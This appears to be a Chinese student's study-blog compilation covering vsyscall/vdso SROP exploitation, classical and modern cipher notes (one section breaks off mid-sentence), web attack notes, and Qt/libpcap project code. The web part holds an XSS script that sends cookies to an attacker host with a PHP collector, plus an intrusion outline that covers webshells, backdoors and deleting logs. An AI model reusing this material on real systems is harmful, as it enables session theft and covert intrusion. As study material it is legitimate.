vsyscall直接进行syscall,并没有利用栈空间,所以在处理栈溢出,但是由于PIE没有别的地址可以用时,而栈上又有某个有用的地址的时候,可以通过vsyscall构造一个rop链来ret,每次ret都会消耗掉一个地址,将rsp下拉一个单位,这样就可以逐渐去贴近想要的那个地址,最后成功ret到相应的位置。

(2)SROP利用:

syscall ret;指令可用于构造SROP,只需要在其面前放置一个”pop rax;ret”的gadget,通过栈溢出将rax赋值为0xf即可调用__kernel_rt_sigreturn,从而打SROP。

二、vdso:大多版本用vdso取代了vsyscall

1.vdso作用:

与vsyscall差不多,本来就是为了取代vsyscall用的,不过是通过共享库进行映射,和动态加载有点类似。

2.vdso特点:

(1)vdso的地址随机化的,且其中的指令可以任意执行,不需要从入口开始。

(2)相比于栈和其他的ASLR,vdso的随机化非常的弱,对于32的系统来说,有1/256的概率命中。

(3)不同的内核随机程度不同:

A.较旧版本:0xf76d9000-0xf77ce000

B.较新版本:0xf7ed0000-0xf7fd0000

可利用pwn中Linux知识中的文件来查看具体范围。注意偏移需要更改一下,可以调试查看,一般在200以内。用stack 200,查到的地方除以4之后-2就是偏移,不行就再调试。或者直接pwndbg的fmtarg addr来查看偏移。

▲范围测量:

编译一个打印vdso的程序,编译代码为:

gcc -g -m32 vdso_addr.c -o vdso_addr

如果是64位程序则将m32改成m64即可

1
2
3
4
5
6
7
8
9
10
#注释头

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
printf("vdso addr: %124$p\n");//这里的124偏移需要gdb调试进行调整
return 0;
}

然后用脚本即可打印确定范围,将范围调大更加精确:

1
2
3
4
5
6
7
8
9
#注释头

import os
result = []
for i in range(100):
result += [os.popen('./vdso_addr').read()[:-1]]
result = sorted(result)
for v in result:
print (v)

3.vdso的利用:

与vsyscall差不多,32位中有现成的__kernel_rt_sigreturn可以打SROP。也可以用gettimeofday来创造rop,绕过PIE,滑过空间。

4.读取靶机的vdso:

(1)如果给了libc,那么根据libc版本使用qemu或者docker创建一个环境,随便运行一个程序,用gdb命令dump下来。(dump memory vdso32.so addr_start addr_end)

(2)如果没给,那么只能先泄露地址再考虑其它。

(3)之后就可以用

1
2
3
4
5
6
#注释头

elf = ELF(“./vdso32.so”)#来加载
RANGE_VDSO = range(0xf7ed0000, 0xf7fd0000, 0x1000)
vdso_addr = random.choice(RANGE_VDSO)
SROP_kernel_addr = vdso_addr + vdso.symbols['__kernel_rt_sigreturn']

但是这里还是需要加上while循环爆破使用,因为不确定随机化的基地址。

参考资料:

https://xz.aliyun.com/t/5236/usr/include/g

密码学基础

第二章 古典密码

1.Monoalphabetic Cipher:

单字母替代密码(将明文字符集和密文字符集建立映射关系)

▲单表替代:明文字符集与密文字符集任意替代(一一映射),那么n个元素即有n!种置换。(若仅仅针对字符集,那么可以通过字母的使用频率来分析解密)

(1)Caesar密码:

将字母用它之后的第三个字母进行替代(26个字母循环)

(2)keyword密码:

  • key:随意选取一个关键词key

  • 去重:将key中的重复字母去掉,例如:success->suce

  • 填表:将去重的key填入26个字母表前面位置,依次序接着填满26个字母。

1
2
3
4
//注释头

suceabdfghijklmnopqrtvwxyz
abcdefghijklmnopqrstuvwxyz
  • 加密:依据上表,查表将明文替代为密文。

(3)Multiliteral Cipher:

随意选取一个五字母的关键词key

  • 填表:依据关键词key形成5×5的矩阵,将26个字母填充进去,其中i/j为一个。

  • 加密:每个字母直接转换为key的行和列,即一个字母直接变成两个字母。

(比较脆弱,因为密钥就存在于密文中)

☆分析:利用字母使用频率分析:

img

2.Polyalphabotic Cipher:

多表替代密码,减少字母频率特征

(1) Vigenere Cipher:

  • key:随意选取一个关键词key

  • 对应:

1
2
3
4
//注释头

HOLD HO LDH OLDHOLDHO
THIS IS THE PLAINTEXT
  • 加密:

    • 查表加密(行列查表都可以,因为对称的):

      img

    • mod26加密:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

7 14 11 3 7 14 11 3 7 14 11 3 7 14 11 3 7 14
key: H O L D H O L D H O L D H O L D H O
plaintext: T H I S I S T H E P L A I N T E X T
19 7 8 18 8 18 19 7 4 15 11 0 8 13 19 4 23 19

相加mod26: 0 21 19 21 15 6 4 10 11 3 22 3 15 1 4 7 4 7
ciphertext: A V T V P G E K L D W D P B E H E H

以上两种方法都可以。

☆分析:

  • 算密钥长度:一段密文中查找重复出现的几个字节,计算重复出现的几个
1
2
3
4
5
//注释头

key: R U N R U N R U N R U N R U N R U N R U N R U N R U N
plaintext: T O B E O R N O T T O B E T H A T I S T H E Q U E S T
ciphertext: K I O V I E E I G K I O V N U R N V J N U V K H V M G

KIOV和下一个KIVO,NU和下一个NU,分别相差9个字母,6个字母,多次重复计算,算出公因数,这里公因数是3,那么3就可能是密钥长度。

  • 变成单表替代:假设得到公因数长度为abcdef,则进行如下计算:
1
2
3
4
//注释头

key: abcde fabcd efabc defab cdefa bcdef abcde fabcd efabc defab
ciphertext: lpkso fjbnn mpfls rneoi yqrlx bkqtz ucxot ssbvb wpjil geckb

将所有由a加密的字母提取出来,为 ljfoxusjk…….重复多次。(这里选取abcdef中任意一个都可)。转换成6个单表替代密码,之后即可从单表替代密码ljfoxusjk…….中进行字母频率分析,逐步破译。(比如说j就有可能是e)

(2)Autokey Cipher(针对Vigenere Cipher的改进):

选取关键词

  • key:选取关键词Key

  • 初次:key加密对应数量的密文

  • 重复:将前一次加密得到的密文拿来作为key加密。

☆很脆弱,密文即为密钥的一部分,可通过错位分析来直接解密:

1
2
3
4
5
//注释头

key: capcnpwgd
plaintext: anautokeycipherprovidesalongkeyword
ciphertext: cnpwgd...........................

初始密钥为cap,之后依次得到cnp,wgd….

(3)AutoKey Plaintext:

(类似,但是是拿明文再进行加密)

3.Rotor Ciphers:

转轮密码

  • 轮子的内部对应关系不变,外在触点可以转动:

img img

  • 利用多个轮子合在一起形成加密关系,转动触点即可改变加密关系:

img img

这里的初始化状态和转动方式就可看作是密钥。

4.Polygraphic Cipher:

多图替代密码

(1)Play fair密码:

双字母音节替代加密

  • key:随意选取密钥key

  • 填表:key顺序加上剩余字母依次排列进5×5表中(这里key为harpsichord)

img

  • 分组:对明文进行按两个字母一对进行分组,如果其中有字母对两个字母相同,就在其中填充一个其他字母(这个字母最好选取出现概率较小的字母,比如xx基本不会出现):ballon -> ba lx lo on

  • 加密:

    • 落在矩阵同一行的明文字母对中字母由其右边字母代替,最右边则由最左边替代。例如:AR->RP
    • 落在矩阵同一列的明文字母对中字母由其下边字母代替,最下面则由最上面替代。例如:IM->EV
    • 不同行不同列的则由对称行列转化加密(同行替换),例如:CT->DN,OU->BQ….

☆分析:(m1,m2)->(c1,c2),那么如果有(m2,m1),则一定是(m1,m2)->(c2,c1)。可以将明文和密文对比移位。(具体的看PDF)

(2)Double playfair密码:

  • 选取两个关键词key,去重,填表构建两个矩阵,行对应排列:

img

  • 给定一个数字,所有明文按照所选数字分组进行排列,不足的补指定字母。例如给定明文为this is double playfair cipher,数字为10,不足补x:
1
2
3
4
5
6
7
#注释头

thisisdoub
leplayfair

cipherxxxx
xxxxxxxxxx
  • 按组进行加密,上述分组情况即为tl,he,ip…..cx,ix,px…….xx共计20组。

  • 对每组进行加密,分别从两个矩阵中找到明文字母对,加密规则类似:

    • 不同行的即对角线交换:tl->op
    • 同行的由右边字母替代,但这里替代完之后还需要交换一下:br->ac

5.Transposition cipher:

(1)Skytale cipher:

缠绕密码,一张图说明一切

img

(2)Permutation cipher:

  • 给定密钥,按字母表排列顺序。例如key,顺序为(2 1 3)。

  • 依据密钥长度分组明文,不足补指定字符。例如Permutation cipher,分为Per mut ati onc iph erx(最后补了x)

  • 根据密钥顺序置换,(2 1 3)即代表第二个字母放到第一个,第一个字母放到第二个,第三个字母放到第三个。可得ePr umt tai noc pih rex即为所求密文。

(3)Column Permutation cipher:

  • 给定密钥,按字母表排列顺序。例如key,顺序为(2 1 3)。

  • 依据密钥长度分组明文,竖向排列。例如Permutation cipher,分为

1
2
3
4
5
6
7
8
9
#注释头

213
Per
mut
ati
onc
iph
er
  • 依据顺序将列竖向提取,横向生成密文:eutnpr Pmaonie rtich即为所求密文。

(4)Double Permutation cipher:

一样,只是重复两次

第三章 流密码

Stream Cipher 生成

1.LFSR:

给定初始值,指定反馈位异或生成从左边进入,从右边出来生成生成密钥流,这里就会是101011 00….

img

☆针对LFSR攻击:将密文逐两个异或得到分析段,如图第一段为密文段,第二段为分析段,其中重复部分相距的长度即为LFSR的两个线性反馈位的长度,这里是4,如上图的LFSR,之后再分析破解。

img

2.RC4:

  • 初始化一个数组S[],一般为0-255,这里假设为0-7,S[]:[0,1,2,3,4,5,6,7]。之后初始化一个key顺序数组K[]给定初始密钥顺序,假设为567,重复至8位K[]:[5,6,7,5,6,7,5,6]。

  • 通过KSA算法代码:

1
2
3
4
5
6
7
8
#注释头

j = 0
for i in range(0,255):
j = (j + S[i] + K[i])mod 256
tmp = S[i]
S[i] = S[j]
S[j] = tmp

上述例子得到新的S[]:[5,4,0,7,1,6,3,2]

  • 通过PRGA算法:
1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

i = 0
j = 0
i = (i + 1)mod 256
j = (j + S[i]) mod 256

tmp = S[i]
S[i] = S[j]
S[j] = tmp

t = (S[j] + S[i])mod 256
k = S[t]

上述例子得到K = 6,之后重复8次(n),即可得到最终密钥K

3.CA:cellular automata

细胞自动机

(1)1D

即一维的:

  • 给定初始状态(一般随机生成),这里选为0010100(多少bit都行)。

  • 给定状态转换规则,一般给一个十进制数字,然后转换为二进制,这里选为23:

1
2
3
4
#注释头

000 001 010 011 100 101 110 111
0 0 0 1 0 1 1 1 = 23
  • 依据规则演变至下一个状态(依据当前位和左右邻位),那么初始状态就可以对应以下七种状态:

000 001 010 101 010 100 000

依据规则转化为 0001000,即为初始状态的之后的第一个状态。依据此规则可演变出多种状态。

  • 再设定规则,从每个状态中取第x位作为密钥,那么n个状态就会对应生成n位的key。

(2)2D

即二维的:原理类似,给定初始状态与规则。

img

这里的Von Neumann Neighborhood和Moore Neighborhood对应两种不同的邻居选择规则。

▲规则:

img

这里的X为自定义的一个初始值0或1,之后的CNSWE分别对应英文certer,north,south,west,east,即中上下左右,加上是一个给定的规则,例如选定:(XCNSWE)为(001110)=14,那么14即为给定的规则。

Si,j(t)即为当前状态分别对应的0或1的值,依据上述等式算出下一状态的值即可。(这里是Von Neumann Neighborhood)

☆针对流密码攻击:插入明文攻击,假设攻击者可以插入1bit的指定明文,再次进行发送,然后也可以截获到密文,那么如下:

img 第一次(只知道密文Ci)

img第二次插入p后(知道密文Ci和p、c)

现在可以通过p^c算出k2,带入第一张图,c2^k2算出p2,再带入第二张图p2^c3算出k3,依次类推可得到全部,除了p1,k1,c1。

第四章 分组密码

1.DES加密(Data Encryption Standard):

(1)密钥生成:

img

  • 64位密钥,其中8位为奇偶校验位,生成子密钥过程中需要剔除,经过PC-1压缩得到k(56bit)
  • 将k分为KL0和KR0,各28bit
  • KL0和KR0左移x位得到KL0x,KR0x
  • 将KL0x和KR0x合并,通过PC-2置换得到子密钥K0(48bit)
  • 将KL0x和KR0x拷贝一份得到下一轮的KL1和KR1

重复3-5步16轮,共得到k0-k15个子密钥以供加密

(2)加密流程:

img

  • 以8个字母为一个单位取明文
  • 将一单位明文通过IT打乱得到Y0
  • 取Y0左边32位为PL0,右边32位为PR0
  • 将PR0复制一份为L1——-用作下一轮的L
  • 将PR0用EBOX扩展置换得到EPR0(48bit)
  • 将EPR0与K0异或得到K_X_P(48bit)
  • 将K_X_P用SBOX压缩得到SPR0(32bit)
  • 将SR0与PBOX进行置换得到PPR0
  • 将PPR0与L0异或得到下一轮的PR1

重复4-9步16轮(其中f轮函数即为EBOX、Key异或、SBOX、PBOX)

▲得到PR15和L15,左右交换后合并在一起后再经过IP逆运算最终置换得到密文

(3)BOX事项:

①EBOX:

虽说是扩展,但直接依据顺序扩展即可。前bit->后bit,后bit->前bit。

img

②SBOX:

8个子BOX,每个子BOX为4×16矩阵,每行0-15以某个固定顺序排列,通过时48bit分为8个块,每个块6bit。首尾bit拼合为row,中间4bit拼合为column,依据(row,column)来在每个子BOX中找到对应的数字后转换为二进制即为4bit输出。

img

之后IP,IP逆,PBOX都是正常的置换BOX。

▲解密流程完全相同,只有密钥使用顺序相反。

2.SDES加密:

Simple,类似,不过只有两轮,位数也不太一样,分别循环左移1bit和2bit。各种子BOX也会对应修改。

img

3.AES加密(Advanced Encryption Standard):

▲有128bit,192bit和…忘了…以下以128bit为例子

(1)密钥生成:

①前期计算

  • 128bit分为16字节竖向排列:
1
2
3
4
5
6
7
8
#注释头

W0 W1 W2 W3 ..........
-------------------------------------------------------
K0 K4 K8 K12
K1 K5 K9 K13
K2 K6 K10 K14
K3 K7 K11 K15
  • 依据规则计算W[4]至W[43]:

W[i] = W[i-4] xor W[i-1] i不为4的倍数时

W[i] = W[i-4] xor T(W[i-1]) i为4的倍数时

②计算T(W[i-1]):

  • 将W[i-1]中字节元素横向排列,循环左移1个字节。

  • 将循环左移后的四个字节通过SBOX,得到[S0,S1,S2,S3]四个字节列表。(这个SBOX为16×16矩阵,需要将每个字节的前4bit作为row,后4bit作为column,(row,column)来在SBOX中寻找对应字节替换)

img

  • 计算常量:r[i] = 2^((i-4)/4)

  • 最终T(W[i-1]) = [S0 xor r(i),S1,S2,S3]

即可求得W[0]-W[43]共计44个W[i]密钥。

(2)加密流程:

img

128bit输入,循环9轮,第10轮中没有MixColumn。

(3)BOX注意:

  • KeyAdd:正常的128bit密钥和128bit明文块异或。

  • Substitution:即SBOX,为

护网Web学习

偷溜来了护网,希望不会被逮住…..

▲其实决定来之前压根就不会Web,连HTML,CSS,PHP等等最基础的东西都不了解。决定要来之后,就抽空学了一些简单的实际渗透方面的Web利用,像之前写的永恒之蓝,sqlmap,nmap,Burpsuite,ARP啥的都是那一小段时间疯狂补的东西。然后期间经历了一点小插曲,本来以为不会来了,阴差阳错又过来了。和我一位学Web开发的傻嘚一起来的

一、HTML、CSS、PHP基础:

https://www.w3school.com.cn/

东西太杂,适当了解原理,以后即用即学。

二、XSS攻击:跨站脚本(Cross-Site Scripting)

四种类型,大概如下

1.原理解析:

(1)黑客通过某网站漏洞,将恶意代码注入到某网站中,生成类似图片,留言等进行伪装,内在是攻击链接。

(2)用户访问该网站,无意中点击了该图片,留言,那么就执行了这段恶意代码,进入了攻击链接,泄露信息。

2.例子:

(1)原网站的HTML:

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html>
<head>
<title>xss攻击</title>
</head>
<body>
<form action="./test.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>

后缀改为html,打开后如下:

img

(2)某些手段修改后如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
<title>xss攻击</title>
</head>
<body>
<form action="./test.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>

<script>
var Str=document.cookie; //获取cookie
var a =document.createElement('a'); //创建a标签
a.href='http://1.1.1.1/attack.php?'+Str; //攻击者主机
a.innerHTML="<img src='./aa.jpg'>"; //掩护图片
document.body.appendChild(a); //将标签添加到页面中
</script>
</body>
</html>

打开后如下:

img

(3)攻击跳转

当不小心点到该图片后,会跳转到http://1.1.1.1/attack.php?Str这个URL界面,跳出如下界面:

img

其中array中就是访问该网站所得到的cookie令牌。

攻击者的attack.php代码如下:

1
2
3
4
5
6
7
8
9
<?php
header("content-type:text/html;charset=utf8");
echo "你的PHPSESSID被盗啦";
echo "<pre>";
print_r($_GET);
echo "</pre>";
$cookie=$_GET['PHPSESSID'];
file_put_contents('./xss.txt', $cookie);
?>

攻击者将得到的cookie存储到他服务器1.1.1.1的xss.txt文件中,之后攻击者就可以利用从用户这得到的cookie来假装用户成功登录网站。

3.防御手段:

过滤输入,最有效的。

三、CSRF攻击:

跨站请求伪造(Cross-site request forgery)

1.原理解析:

  • 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

  • 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

  • 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B,这个网站B就是黑客用来攻击的自己搭建的一个网站,或者是黑客插入攻击代码的网站;

  • 访问网站B后,接收到用户请求后(黑客插入的链接或者是黑客自建的网站,前者需要用户点击恶意代码链接,类似于XSS攻击,后者则不需要),返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

  • 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

▲简单来说就是利用恶意网站使得用户浏览器携带cookie和恶意代码请求来登录正常网站,这样黑客的恶意代码请求就可以在该网站被执行,从而使得黑客可以伪装成用户来执行任意操作,事后看到的也只是该用户的正常请求操作,基本没有什么攻击痕迹。

img

2.实例解析:

不搞了,DVWA上很多。

四、SSRF攻击:

Server-Side Request Forgery,服务端请求伪造

1.原理解析:

比较简单,常用来外网将服务器当跳板来探测内网。

  • 利用服务器提供的功能,输入url获取图片,输入某ip查找信息等等。

  • 构造我们需要的url,或者一些链接,服务来获取我们想要知道的信息。

2.实例解析:

不搞了,DVWA上很多。

后面有时间再总结下吧,得滚去补落下的东西了。

五、总结朔源:

  • 首先得到ip,先挂clash和proxifier全局代理安排上。

  • IPIP.net ip138.com等查该ip下面绑了啥域名,对应开了什么web服务。

  • 先Ping一下IP绑定的域名,看看最终的web服务是不是挂在该IP下。然后拿目录扫描器开始扫这个ip开的web服务,需要字典和工具。

  • 根据扫描结果或经验,尝试看看能不能找到后台管理的登录页面,先尝试一波弱口令,SQL注入什么的。

  • 现在就可以尝试分析这个Web服务的CMS架构,找出来之后就可以找对应版本漏洞打打试试,尝试拿Webshell。

  • 经过艰苦不懈的尝试,再加上运气,可能就能拿Webshell了。这时候进入他的Web服务中,尝试提权什么的,一句话木马,各种小工具啥的上就完了。

  • 搞了一堆也不太好使的话,那就可能要被发现了,这时候不要慌,走之前删一删Web服务上无关紧要的小图片,小链接什么的,然后尝试删记录退出啥的。

  • 哎,这时候就可以打个游戏,吃个饭,睡个觉,第二天再来尝试看看,如果运气好没被堵上漏洞,那就看看日志,这兄弟的一些恢复操作就能完整被我们知道,然后根据这些日志来找账户密码,或者是一些系统操作调用啥的,方便我们拿到更高级的权限。

  • 运气再好些拿到高权限的shell后,种个后门木马就跑路呗,记得删日志。

(像那种挂了很多域名,提供了看似正常的Web服务的,有很大可能是个用来翻墙洗白流量的服务器,这种服务器一般比较好拿权限,因为使用者一般挂完服务后都不会再投入过多精力去管的)

▲CMS啥的常规不管用,就扫端口,尝试端口服务漏洞直接爆破,再牛逼点,使用0day打。再再牛逼点,直接现场挖对应版本服务的漏洞(pwn大佬干的活)。

▲再补一下护网对USG写的脚本,是同学写的,版权在他那里,特此声明。本来自己想写另一个解析HTML的脚本却怎么也不成功,水平还是太差:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#注释头

import json
import winsound
import requests
import time

requests.packages.urllib3.disable_warnings()

url = "https://10.10.10.1/========================="

headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Cookie": "=======================================",
"Host": "10.10.10.1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "none",
"Sec-Fetch-User": "?1",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "========================================",
}

recorded_ips = set()

with open("blacklistips.txt", "r") as f:
recorded_ips = set(f.read().splitlines())

while True:

try:
print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())))

doc = requests.get(url=url, headers=headers, verify=False)

if doc.status_code != 200:
winsound.Beep(2000, 2000)
print("无法访问")
time.sleep(10)
continue

json_dict = json.loads(doc.text)
data = json_dict["data"]
for attack in data:
ip = attack["name"]
hasRisk = (
int(attack["middle"]) > 0
or int(attack["high"]) > 0
or int(attack["critical"]) > 0
)

if not hasRisk:
continue

if ip in recorded_ips:
continue

print(attack)
winsound.Beep(2000, 2000)
recorded_ips.add(ip)

with open("blacklistips.txt", "w") as f:
for data in recorded_ips:
f.write(data + "\n")
print("平平安安")
time.sleep(30)

except Exception as err:
print(err)
winsound.Beep(2000, 2000)
time.sleep(10)

▲最后做个总结,学了这些天下来,感觉Web太杂太乱,边边角角太多,而且更新速度极快,可能过个一两个月就过时的,实在是不适合像我这种又蠢又懒,脑容量又小的菜鸡去搞。

还是感觉现在深入搞Web不到时候,在校期间更适合学些基础理论的东西,所以之后还是回老本行搞二进制去吧,起码这些理论知识更新换代比较慢一点。并且这种更新更像是一种基于理论来千变万化的,而不像Web好多都是那种一更新就完全变成新东西,没多少理论依据可言,直接就是开脑洞的。

还是搞二进制去吧,黑客的理想还是等以后工作了再来。

暑期总结

小学期一直在忙小程序的设计,现在放上来吧,也最后做个总结:

一、Libcap的使用:

1.头文件环境相关:

用的是ubuntu18.04的环境

(1)头文件及环境配置:

1
2
3
4
5
6
7
8
9
10
//注释头


#include <pcap.h>

//cmd Programmer need
-lpcap

//QT pro need
LIBS += -L/usr/local/lib -lpcap

同时需要root权限,QT可以设置

(2)QThread使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//注释头

class libcapThread : public QThread
{
Q_OBJECT
public:
//overwrite
void run();


signals:
void signalpcap(QString,QString,QString,
QString,QString,const u_char*);
};
//注释头

threadObj->start();
threadObj->terminate();

2.抓包流程:

(1)搜索网卡dev:

dev = pcap_lookupdev(errbuf);

这个只能搜索到第一个可用网卡,有的装了docker啥的会存在多个网卡,需要用其他函数。

(2)编译抓取规则:

pcap_compile(devHandle, &filter, “tcp”, 0, deviceMask);

(3)设置抓取规则:

pcap_setfilter(devHandle, &filter);

(4)抓包:

pcap_loop(devHandle, 1, baseAnalyze, NULL);

▲大概就是这样,然后这里一般需要用到回调函数baseAnalyze()来处理包数据,回调函数可自行得到的参数如下:

void baseAnalyze(u_char* user, const struct pcap_pkthdr* pHeader, const u_char* pPktdata)

3.然后就是正常处理显示了,直接贴程序:

https://github.com/PIG-007/Programmer/tree/master/Libcap

二、加解密双机的使用:

▲做了双机的服务器端和DES,AES,还有几个古典,其他的是同学做的,特此说明一下。

1.Socket

(1)创建对象:

1
2
3
//注释头

server = new QTcpServer(this);

(2)开始监听:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//注释头

connect(ui->btnListen,&QPushButton::clicked,[this]{
//if Listening,close it
if(server->isListening()){
//server->close();
closeServer();//Define function
//Recover the status after closed
}else{
const QString address_text=ui->editAddress->text();
const QHostAddress address=(address_text=="Any")
?QHostAddress::Any
:QHostAddress(address_text);
const unsigned short port=ui->editPort->text().toUShort();
if(server->listen(address,port)){
//handle function
}else{
//error function
}
}
}

(3)检测到连接,开始处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
//注释头

connect(server,&QTcpServer::newConnection,this,[this]{
while(server->hasPendingConnections())
{
//nextPendingConnection get the next obj
QTcpSocket *socket=server->nextPendingConnection();
clientList.append(socket);
ui->textRecv->append(QString("(%1:%2) Soket Connected")
.arg(socket->peerAddress().toString())
.arg(socket->peerPort()));
ui->textRecv->append(recv_text);
});

(4)错误信息处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
//注释头

connect(socket, static_cast<void(QAbstractSocket::*)(QAbstractSocket::SocketError)>(&QAbstractSocket::error),
[this,socket](QAbstractSocket::SocketError)
{
//Handle
});
//注释头

connect(socket,&QAbstractSocket::errorOccurred,[this,socket](QAbstractSocket::SocketError)
{
//Handle
});

2.界面设计的不同style:

1
2
3
//注释头

qApp->setStyle(QStyleFactory::create("fusion"));

3.加密模块:

很多内容就放github上,不再赘述

https://github.com/PIG-007/Programmer/tree/master/SocketEncrypt